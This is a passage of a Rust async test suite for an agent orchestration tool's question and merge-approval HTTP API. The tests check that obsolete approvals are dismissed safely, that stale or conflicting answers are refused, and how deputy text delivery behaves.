11767    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11768        let fx = Fixture::start().await;
11769        let mut state = obsolete_approval_state();
11770        state.status = RunStatus::Landing;
11771        state.parked = true;
11772        state.driver_exited = true;
11773        let mut q = Question::new(
11774            state.id.clone(),
11775            crate::land::APPROVAL_NODE.into(),
11776            "land".into(),
11777            "Superseded PR approval".into(),
11778            "Original review evidence".into(),
11779            vec!["merge".into(), "hold".into()],
11780        );
11781        state.land_approval = Some(crate::run::LandApproval {
11782            question: q.id.clone(),
11783            head: "old-reviewed-head".into(),
11784        });
11785        // The old persisted PR may still say open even when a separate change
11786        // already landed. Dismissal must not use that snapshot to close it.
11787        state.save_under(fx.home.path()).unwrap();
11788        let stale_driver = state.clone();
11789        fx.questions().put(&mut q).unwrap();
11790        let path = fx
11791            .home
11792            .path()
11793            .join("questions")
11794            .join(format!("{}.json", q.id));
11795        let mut legacy = serde_json::to_value(&q).unwrap();
11796        legacy["schema"] = 9.into();
11797        legacy.as_object_mut().unwrap().remove("merge_target");
11798        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11799
11800        // POST without GET tests legacy upgrade and validation at the actual
11801        // entry point, rather than constructing a modern card in the test.
11802        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11803        let answer_path = format!("/api/questions/{}/answer", q.id);
11804        let res = fx.post(&answer_path, Some(&body)).await;
11805        assert_eq!(res.status, 200, "{}", res.body);
11806        let disk = fx.questions().get(&q.id).unwrap();
11807        assert_eq!(
11808            disk.resolution().as_deref(),
11809            Some(crate::merge_decision::DISMISS)
11810        );
11811        assert!(disk.detail.starts_with("Original review evidence"));
11812        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11813        assert_eq!(retired.status, RunStatus::Superseded);
11814        assert_eq!(
11815            serde_json::to_value(&retired.pr).unwrap(),
11816            serde_json::to_value(&state.pr).unwrap()
11817        );
11818        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11819        assert!(!crate::merge_decision::resumable_hold(&retired));
11820        assert!(fx.queue().list().is_empty());
11821        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11822        // A restarted server re-reads the persisted pending list.
11823        let addr = Fixture::serve(
11824            fx.home.path(),
11825            PathBuf::from("/repo/magi"),
11826            launch_idle,
11827            None,
11828        )
11829        .await;
11830        let reconnected = Fixture {
11831            home: fx.home,
11832            addr,
11833        };
11834        let listed = reconnected.get("/api/questions").await.json();
11835        assert!(
11836            listed
11837                .as_array()
11838                .unwrap()
11839                .iter()
11840                .all(|q| q["status"] != "open")
11841        );
11842        assert_eq!(listed[0]["id"], q.id, "history remains available");
11843        assert_eq!(
11844            reconnected.get("/api/health").await.json()["questions_open"],
11845            0
11846        );
11847        assert_eq!(
11848            reconnected
11849                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11850                .await
11851                .status,
11852            409
11853        );
11854        // A late waiter cannot turn the old answer into a new decision.
11855        assert!(
11856            reconnected
11857                .questions()
11858                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11859                .is_err()
11860        );
11861        // The same guard used by claims, repair and publication rejects a
11862        // saved in-memory driver as well as the persisted terminal record.
11863        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11864    }
11865
11866    #[tokio::test]
11867    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11868        let fx = Fixture::start().await;
11869        let mut state = obsolete_approval_state();
11870        state.status = RunStatus::Landing;
11871        state.driver_exited = true;
11872        let mut q = Question::new(
11873            state.id.clone(),
11874            crate::land::APPROVAL_NODE.into(),
11875            "land".into(),
11876            "Obsolete approval".into(),
11877            String::new(),
11878            vec!["merge".into(), "hold".into()],
11879        );
11880        state.land_approval = Some(crate::run::LandApproval {
11881            question: q.id.clone(),
11882            head: "head".into(),
11883        });
11884        state.save_under(fx.home.path()).unwrap();
11885        fx.questions().put(&mut q).unwrap();
11886        let mut task = Task::new(
11887            "Owner".into(),
11888            "Original instruction".into(),
11889            state.repo.clone(),
11890            Source::Human,
11891        );
11892        task.runs = vec![state.id.clone(), "later-run".into()];
11893        fx.queue().put(&mut task).unwrap();
11894        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11895        let claim = fx.queue().claim(&task.id).unwrap();
11896        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11897        let path = format!("/api/questions/{}/answer", q.id);
11898        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11899        assert!(fx.questions().get(&q.id).unwrap().status.open());
11900        drop(claim);
11901        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11902        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11903        assert!(fx.questions().get(&q.id).unwrap().status.open());
11904        drop(publication);
11905        // Unknown liveness and armed auto-merge both fail without settling.
11906        state.driver_exited = false;
11907        state.driver_pid = None;
11908        state.driver_claimed = None; // No durable proof of an unstarted execution.
11909        state.save_under(fx.home.path()).unwrap();
11910        assert_eq!(
11911            state.liveness_under(fx.home.path(), false),
11912            crate::run::Liveness::Unknown
11913        );
11914
11915        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11916        state.driver_exited = true;
11917        state.land_armed_head = Some("head".into());
11918        state.save_under(fx.home.path()).unwrap();
11919        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11920        state.land_armed_head = None;
11921        state.save_under(fx.home.path()).unwrap();
11922        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11923        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11924        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11925    }
11926
11927    #[tokio::test]
11928    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11929        let fx = Fixture::start().await;
11930        let mut state = obsolete_approval_state();
11931        state.status = RunStatus::Landing;
11932        state.driver_exited = true;
11933        let mut q = Question::new(
11934            state.id.clone(),
11935            crate::land::APPROVAL_NODE.into(),
11936            "land".into(),
11937            "Obsolete approval".into(),
11938            String::new(),
11939            vec!["merge".into(), "hold".into()],
11940        );
11941        state.land_approval = Some(crate::run::LandApproval {
11942            question: q.id.clone(),
11943            head: "head".into(),
11944        });
11945        state.save_under(fx.home.path()).unwrap();
11946        fx.questions().put(&mut q).unwrap();
11947        let mut task = Task::new(
11948            "Owner".into(),
11949            "Original instruction".into(),
11950            state.repo.clone(),
11951            Source::Human,
11952        );
11953        task.runs.push(state.id.clone());
11954        task.status = TaskStatus::Parked;
11955        fx.queue().put(&mut task).unwrap();
11956        // Model a crash after the run stop was persisted but before the queue
11957        // and answered question were flushed. Retrying must finish, not resume.
11958        state.merge_decision = Some(crate::merge_decision::Decision {
11959            question: q.id.clone(),
11960            target: crate::merge_decision::Target {
11961                pr: state.pr.as_ref().unwrap().url.clone(),
11962                head: "head".into(),
11963                language: "ja".into(),
11964            },
11965            choice: crate::merge_decision::DISMISS.into(),
11966            closed: false,
11967            replacement_run: None,
11968            replacement_pr: None,
11969        });
11970        state.status = RunStatus::Superseded;
11971        state.save_under(fx.home.path()).unwrap();
11972        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11973        let path = format!("/api/questions/{}/answer", q.id);
11974        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11975        let done = fx.queue().get(&task.id).unwrap();
11976        assert_eq!(done.status, TaskStatus::Done);
11977        assert_eq!(done.runs, task.runs);
11978        assert_eq!(done.instruction, task.instruction);
11979        assert!(done.action_applied(&q.id));
11980        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11981        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11982        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11983    }
11984
11985    #[tokio::test]
11986    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11987        let home = TempDir::new().unwrap();
11988        let ui = Arc::new(Ui::new(
11989            Queue::at(home.path().join("queue")),
11990            Questions::at(home.path().join("questions")),
11991            Talks::at(home.path().join("talks")),
11992            home.path().join("runs"),
11993            home.path().to_owned(),
11994            home.path().to_owned(),
11995        ));
11996        let talks = &ui.talks;
11997        let chat =
11998            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11999        let mut q = Question::new(
12000            "run".into(),
12001            crate::land::APPROVAL_NODE.into(),
12002            "land".into(),
12003            "Merge?".into(),
12004            String::new(),
12005            vec!["merge".into(), "hold".into()],
12006        );
12007        q.routed_task = Some("task".into());
12008        q.routed_chat = Some(chat.id.clone());
12009        q.merge_target = Some(crate::merge_decision::Target {
12010            pr: "https://example.test/pull/1".into(),
12011            head: "head-a".into(),
12012            language: "en".into(),
12013        });
12014        ui.questions.put(&mut q).unwrap();
12015        let send = |body| {
12016            question_answer(
12017                State(ui.clone()),
12018                Path(q.id.clone()),
12019                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12020            )
12021        };
12022        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12023        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12024        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12025        assert!(send(wrong_chat).await.is_err());
12026        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12027        assert!(send(stale).await.is_err());
12028        assert!(ui.questions.get(&q.id).unwrap().status.open());
12029        assert!(send(button.clone()).await.is_ok());
12030        assert_eq!(
12031            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12032            Some("merge")
12033        );
12034        assert!(send(button).await.is_err());
12035    }
12036
12037    #[tokio::test]
12038    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12039        let home = TempDir::new().unwrap();
12040        let ui = Arc::new(Ui::new(
12041            Queue::at(home.path().join("queue")),
12042            Questions::at(home.path().join("questions")),
12043            Talks::at(home.path().join("talks")),
12044            home.path().join("runs"),
12045            home.path().to_owned(),
12046            home.path().to_owned(),
12047        ));
12048        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12049            let mut q = Question::new(
12050                "run".into(),
12051                crate::land::APPROVAL_NODE.into(),
12052                "land".into(),
12053                "Merge?".into(),
12054                String::new(),
12055                vec!["merge".into(), choice.into()],
12056            );
12057            q.routed_task = Some("task".into());
12058            q.merge_target = Some(crate::merge_decision::Target {
12059                pr: "https://example.test/pull/1".into(),
12060                head: "head-a".into(),
12061                language: "en".into(),
12062            });
12063            ui.questions.put(&mut q).unwrap();
12064            let answer = |c: &str| {
12065                question_answer(
12066                    State(ui.clone()),
12067                    Path(q.id.clone()),
12068                    Ok(Json(
12069                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12070                            .unwrap(),
12071                    )),
12072                )
12073            };
12074            let _ = answer(choice).await.unwrap();
12075            assert_eq!(
12076                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12077                Some(choice)
12078            );
12079        }
12080    }
12081
12082    #[tokio::test]
12083    async fn a_routed_decision_is_refused_on_the_question_route() {
12084        let home = TempDir::new().unwrap();
12085        let ui = Arc::new(Ui::new(
12086            Queue::at(home.path().join("queue")),
12087            Questions::at(home.path().join("questions")),
12088            Talks::at(home.path().join("talks")),
12089            home.path().join("runs"),
12090            home.path().to_owned(),
12091            home.path().to_owned(),
12092        ));
12093        let mut q = Question::new(
12094            "run".into(),
12095            crate::github_text::ASK_NODE.into(),
12096            "posting-gate".into(),
12097            "Post?".into(),
12098            String::new(),
12099            vec!["use fallback".into()],
12100        );
12101        q.routed_task = Some("task".into());
12102        ui.questions.put(&mut q).unwrap();
12103        let sent = question_answer(
12104            State(ui.clone()),
12105            Path(q.id.clone()),
12106            Ok(Json(
12107                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12108                    .unwrap(),
12109            )),
12110        )
12111        .await;
12112        assert!(sent.is_err());
12113        assert!(ui.questions.get(&q.id).unwrap().status.open());
12114    }
12115
12116    #[tokio::test]
12117    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12118        let fx = Fixture {
12119            home: TempDir::new().unwrap(),
12120            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12121        };
12122        for choice in [
12123            crate::land::HOLD,
12124            crate::land::REPAIR,
12125            crate::land::APPROVE,
12126            crate::merge_decision::WITHDRAW,
12127            "reimplement:beta",
12128        ] {
12129            let mut q = Question::new(
12130                "old-run".into(),
12131                crate::land::APPROVAL_NODE.into(),
12132                "land".into(),
12133                "Decision".into(),
12134                "Review findings".into(),
12135                vec![
12136                    "merge".into(),
12137                    "hold".into(),
12138                    crate::land::REPAIR.into(),
12139                    crate::merge_decision::WITHDRAW.into(),
12140                    "reimplement:beta".into(),
12141                ],
12142            );
12143            q.merge_target = Some(crate::merge_decision::Target {
12144                pr: "https://github.com/example/repo/pull/42".into(),
12145                head: "exact-reviewed-head".into(),
12146                language: "ja".into(),
12147            });
12148            q.consult = Some(ask::ChatConsult {
12149                talk: "another-conversation".into(),
12150                at: jiff::Timestamp::now(),
12151            });
12152            fx.questions().put(&mut q).unwrap();
12153            let ui = Arc::new(Ui::new(
12154                fx.queue(),
12155                fx.questions(),
12156                fx.talks(),
12157                fx.runs(),
12158                fx.home.path().into(),
12159                std::path::PathBuf::from("."),
12160            ));
12161            let response = question_answer(
12162                State(ui.clone()),
12163                Path(q.id.clone()),
12164                Ok(Json(NewAnswer {
12165                    choice: Some(choice.into()),
12166                    text: None,
12167                    ..Default::default()
12168                })),
12169            )
12170            .await
12171            .unwrap();
12172            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12173            let disk = fx.questions().get(&q.id).unwrap();
12174            assert_eq!(disk.merge_target, q.merge_target);
12175            assert_eq!(disk.consult, q.consult);
12176            assert!(
12177                disk.answer_authority.is_none(),
12178                "a direct owner card is its own decision"
12179            );
12180            assert_eq!(disk.resolution().as_deref(), Some(choice));
12181            assert!(
12182                question_answer(
12183                    State(ui),
12184                    Path(q.id.clone()),
12185                    Ok(Json(NewAnswer {
12186                        choice: Some("merge".into()),
12187                        text: None,
12188                        ..Default::default()
12189                    }))
12190                )
12191                .await
12192                .is_err(),
12193                "an already settled decision cannot turn into merge approval"
12194            );
12195        }
12196    }
12197
12198    #[tokio::test]
12199    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12200        let fx = Fixture {
12201            home: TempDir::new().unwrap(),
12202            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12203        };
12204        let mut state = crate::land::tests::repair_state(true, true);
12205        state.status = RunStatus::Landing;
12206        state.parked = true;
12207        state.driver_exited = true;
12208        let mut task = Task::new(
12209            "Existing PR owner".into(),
12210            state.instruction.clone(),
12211            state.repo.clone(),
12212            Source::Human,
12213        );
12214        task.runs.push(state.id.clone());
12215        task.status = TaskStatus::Parked;
12216        fx.queue().put(&mut task).unwrap();
12217        let mut q = Question::new(
12218            state.id.clone(),
12219            crate::land::APPROVAL_NODE.into(),
12220            "land".into(),
12221            "Contested merge".into(),
12222            "Original evidence".into(),
12223            vec!["merge".into(), "hold".into()],
12224        );
12225        state.land_approval = Some(crate::run::LandApproval {
12226            question: q.id.clone(),
12227            head: "reviewed-head".into(),
12228        });
12229        state.save_under(fx.home.path()).unwrap();
12230        fx.questions().put(&mut q).unwrap();
12231        // A later repair answer on this old card supersedes this manual hold.
12232        task.hold_manual(Some("Pause this PR".into()));
12233        fx.queue().put(&mut task).unwrap();
12234        // POST directly, without a preceding GET: validation must see the
12235        // same durable upgrade that the card, CLI and chat see.
12236        let ui = Arc::new(Ui::new(
12237            fx.queue(),
12238            fx.questions(),
12239            fx.talks(),
12240            fx.runs(),
12241            fx.home.path().to_path_buf(),
12242            state.repo.clone(),
12243        ));
12244        let response = question_answer(
12245            State(ui),
12246            Path(q.id.clone()),
12247            Ok(Json(NewAnswer {
12248                choice: Some(crate::land::REPAIR.into()),
12249                text: None,
12250                ..Default::default()
12251            })),
12252        )
12253        .await
12254        .unwrap();
12255        assert_eq!(response.0.question.id, q.id);
12256        let upgraded = fx.questions().get(&q.id).unwrap();
12257        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12258        assert!(upgraded.detail.starts_with("Original evidence"));
12259        let claim = fx.queue().claim(&task.id).unwrap();
12260        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12261        assert!(
12262            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12263            "an existing driver keeps its claim"
12264        );
12265        drop(claim);
12266        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12267        let resumed = fx.queue().get(&task.id).unwrap();
12268        assert_eq!(
12269            resumed
12270                .resume_override
12271                .as_ref()
12272                .unwrap()
12273                .pinned_run
12274                .as_deref(),
12275            Some(state.id.as_str())
12276        );
12277        assert!(resumed.status.runnable());
12278        assert_eq!(resumed.instruction, task.instruction);
12279        assert_eq!(resumed.runs, task.runs);
12280        assert!(resumed.action_applied(&q.id));
12281        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12282        assert_eq!(fx.queue().list().len(), 1);
12283        assert_eq!(
12284            fx.queue().get(&task.id).unwrap().resume_override,
12285            resumed.resume_override
12286        );
12287        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12288        assert!(
12289            disk.merge_repairs.is_empty(),
12290            "only the claimed run driver may execute repair"
12291        );
12292        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12293    }
12294
12295    #[tokio::test]
12296    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12297        let fx = Fixture::start().await;
12298        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12299        let path = format!("/api/questions/{id}/answer");
12300
12301        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12302        assert_eq!(res.status, 200, "{}", res.body);
12303        let body = res.json();
12304        assert_eq!(body["status"], "answered");
12305        assert_eq!(body["answer"]["choice"], "Redis");
12306
12307        // Answered from the terminal in between the list and the tap: the UI
12308        // must be able to tell this from a bad request, so it can show the
12309        // recorded answer instead of an error.
12310        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12311        assert_eq!(again.status, 409, "{}", again.body);
12312        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12313    }
12314
12315    #[tokio::test]
12316    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12317        let home = tempfile::tempdir().unwrap();
12318        let ui = delta_test_ui(home.path());
12319        let mut q = Question::new(
12320            "task".into(),
12321            crate::land::APPROVAL_NODE.into(),
12322            "land".into(),
12323            "Explain?".into(),
12324            String::new(),
12325            vec!["hold".into()],
12326        );
12327        q.deputy = Some(ask::Deputy::new("context".into()));
12328        ui.questions.put(&mut q).unwrap();
12329        let mut cfg = stub_config();
12330        cfg.daemon.max_deputies = 0;
12331        let mut status = crate::daemon::Status::new();
12332        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12333        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12334        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12335        let error = question_say(
12336            State(ui.clone()),
12337            Path(q.id.clone()),
12338            Ok(Json(NewSay {
12339                body: "Explain the findings".into(),
12340            })),
12341        )
12342        .await
12343        .unwrap_err();
12344        assert_eq!(
12345            error.text_reason,
12346            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12347        );
12348        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12349
12350        let mut text = Question::new(
12351            "task".into(),
12352            "ask".into(),
12353            "operator".into(),
12354            "Which name?".into(),
12355            String::new(),
12356            vec![],
12357        );
12358        ui.questions.put(&mut text).unwrap();
12359        let Json(view) = question_answer(
12360            State(ui.clone()),
12361            Path(text.id.clone()),
12362            Ok(Json(NewAnswer {
12363                choice: None,
12364                text: Some("chosen name".into()),
12365                ..Default::default()
12366            })),
12367        )
12368        .await
12369        .unwrap();
12370        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12371        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12372    }
12373
12374    #[tokio::test]
12375    async fn question_text_handler_admission_without_transport() {
12376        let home = tempfile::tempdir().unwrap();
12377        let ui = delta_test_ui(home.path());
12378        let mut q = Question::new(
12379            "task".into(),
12380            crate::land::APPROVAL_NODE.into(),
12381            "land".into(),
12382            "May this PR merge?".into(),
12383            String::new(),
12384            vec!["hold".into()],
12385        );
12386        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12387        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12388        ui.questions.put(&mut q).unwrap();
12389        let say = || {
12390            Ok(Json(NewSay {
12391                body: "Explain the findings".into(),
12392            }))
12393        };
12394        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12395            .await
12396            .unwrap_err();
12397        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12398        let response = rejected.into_response();
12399        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12400            .await
12401            .unwrap();
12402        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12403        assert_eq!(body["code"], "question_text_unavailable");
12404        assert_eq!(body["reason"], "deputy_exhausted");
12405        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12406        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12407        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12408        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12409            .await
12410            .unwrap();
12411        assert_eq!(view.text_delivery.state, "live");
12412        assert!(view.question.waiter.is_none());
12413        assert!(view.question.cwd.is_none());
12414        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12415        ui.questions.drop_lease(&q.id);
12416        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12417            .await
12418            .unwrap_err();
12419        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12420        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12421        let _ = question_answer(
12422            State(ui.clone()),
12423            Path(q.id.clone()),
12424            Ok(Json(NewAnswer {
12425                choice: Some("hold".into()),
12426                text: None,
12427                ..Default::default()
12428            })),
12429        )
12430        .await
12431        .unwrap();
12432        assert_eq!(
12433            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12434            Some("hold")
12435        );
12436    }
12437
12438    #[tokio::test]
12439    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12440        let fx = Fixture::start().await;
12441        let store = fx.questions();
12442        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12443        store
12444            .update(&id, |q| {
12445                q.node = crate::land::APPROVAL_NODE.to_owned();
12446                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12447                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12448                Ok(())
12449            })
12450            .unwrap();
12451        let path = format!("/api/questions/{id}/say");
12452        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12453        assert_eq!(refused.status, 422, "{}", refused.body);
12454        assert!(
12455            refused.json()["error"]
12456                .as_str()
12457                .unwrap()
12458                .contains("deputy_exhausted")
12459        );
12460        assert!(store.get(&id).unwrap().thread.is_empty());
12461
12462        // A final live deputy is usable even with no ordinary waiter/cwd.
12463        store.beat(&id, ask::WaiterKind::Deputy);
12464        let view = fx.get("/api/questions").await.json();
12465        assert_eq!(view[0]["text_delivery"]["state"], "live");
12466        let accepted = fx
12467            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12468            .await;
12469        assert_eq!(accepted.status, 200, "{}", accepted.body);
12470        let before = std::fs::read(store.path_of(&id)).unwrap();
12471
12472        // The recipient exits between rendering and sending. Rejection must
12473        // preserve previously accepted text, the answer and delivery cursor.
12474        store.drop_lease(&id);
12475        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12476        assert_eq!(refused.status, 422, "{}", refused.body);
12477        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12478        let held = fx
12479            .post(
12480                &format!("/api/questions/{id}/answer"),
12481                Some(r#"{"choice":"hold"}"#),
12482            )
12483            .await;
12484        assert_eq!(held.status, 200, "{}", held.body);
12485        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12486    }
12487
12488    #[tokio::test]
12489    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12490        let repo = tempfile::tempdir().unwrap();
12491        let mut cfg = stub_config();
12492        cfg.daemon.max_deputies = 0;
12493        std::fs::write(
12494            repo.path().join("magi.toml"),
12495            toml::to_string(&cfg).unwrap(),
12496        )
12497        .unwrap();
12498        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12499        let mut status = crate::daemon::Status::new();
12500        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12501        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12502        let id = ask(&fx, "Explain?", &["hold"]);
12503        fx.questions()
12504            .update(&id, |q| {
12505                q.node = crate::land::APPROVAL_NODE.into();
12506                q.deputy = Some(ask::Deputy::new("context".into()));
12507                q.deputy.as_mut().unwrap().agent = "stub".into();
12508                Ok(())
12509            })
12510            .unwrap();
12511        cfg.daemon.max_deputies = 1;
12512        std::fs::write(
12513            repo.path().join("magi.toml"),
12514            toml::to_string(&cfg).unwrap(),
12515        )
12516        .unwrap();
12517        let view = fx.get("/api/questions").await.json();
12518        assert_eq!(view[0]["deputies_enabled"], true);
12519        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12520        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12521        let res = fx
12522            .post(
12523                &format!("/api/questions/{id}/say"),
12524                Some(r#"{"body":"Please explain"}"#),
12525            )
12526            .await;
12527        assert_eq!(res.status, 422, "{}", res.body);
12528        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12529    }
12530
12531    #[tokio::test]
12532    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12533        let fx = Fixture::start().await;
12534        let id = ask(&fx, "No seat", &[]);
12535        let store = fx.questions();
12536        let before = std::fs::read(store.path_of(&id)).unwrap();
12537        let res = fx
12538            .post(
12539                &format!("/api/questions/{id}/say"),
12540                Some(r#"{"body":"hello"}"#),
12541            )
12542            .await;
12543        assert_eq!(res.status, 422, "{}", res.body);
12544        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12545        let res = fx
12546            .post(
12547                &format!("/api/questions/{id}/answer"),
12548                Some(r#"{"text":"hello"}"#),
12549            )
12550            .await;
12551        assert_eq!(res.status, 200, "{}", res.body);
12552        assert_eq!(
12553            store.get(&id).unwrap().resolution().as_deref(),
12554            Some("hello")
12555        );
12556    }
12557
12558    #[tokio::test]
12559    async fn saying_something_appends_a_turn_without_answering() {
12560        let fx = Fixture::start().await;
12561        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12562        fx.questions().beat(&id, ask::WaiterKind::Asker);
12563        let path = format!("/api/questions/{id}/say");
12564
12565        let res = fx
12566            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12567            .await;
12568        assert_eq!(res.status, 200, "{}", res.body);
12569        let body = res.json();
12570        assert_eq!(body["status"], "open", "talking back is not a decision");
12571        assert_eq!(body["answer"], Value::Null);
12572        assert_eq!(body["thread"][0]["who"], "operator");
12573        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12574        assert_eq!(body["waiting_on_agent"], true);
12575        // Still open, still counted, still exactly one question.
12576        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12577    }
12578
12579    #[tokio::test]
12580    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12581        let fx = Fixture::start().await;
12582        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12583
12584        let list = fx.get("/api/questions").await.json();
12585        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12586
12587        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12588        assert_eq!(res.status, 409, "{}", res.body);
12589        let q = fx.questions().get(&id).unwrap();
12590        assert!(q.status.open());
12591        assert!(q.consult.is_none());
12592    }
12593
12594    #[tokio::test]
12595    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12596        let fx = Fixture::start().await;
12597        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12598        let cfg = Config {
12599            agents: vec![crate::config::AgentSpec {
12600                id: "mock".to_owned(),
12601                kind: crate::config::AgentKind::Command,
12602                model: None,
12603                command: vec!["true".to_owned()],
12604                extra_args: Vec::new(),
12605                env: Default::default(),
12606                prompt_delivery: None,
12607                max_turn_secs: None,
12608            }],
12609            ..Config::default()
12610        };
12611        let talk = crate::talk::begin(
12612            &fx.talks(),
12613            &cfg,
12614            fx.home.path().to_path_buf(),
12615            Some("mock"),
12616        )
12617        .unwrap();
12618        let mut task = Task::new(
12619            "t".to_owned(),
12620            "Do it".to_owned(),
12621            PathBuf::from("/repo/magi"),
12622            Source::Agent {
12623                run: talk.id.clone(),
12624                node: crate::queue::CHAT_NODE.to_owned(),
12625            },
12626        );
12627        task.start("20260902-000000-beef".to_owned());
12628        fx.queue().put(&mut task).unwrap();
12629
12630        let list = fx.get("/api/questions").await.json();
12631        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12632        assert_eq!(
12633            list[0]["choices"],
12634            serde_json::json!(["SQLite", "Redis"]),
12635            "the hand-over is never a choice"
12636        );
12637        fx.questions()
12638            .update(&id, |q| {
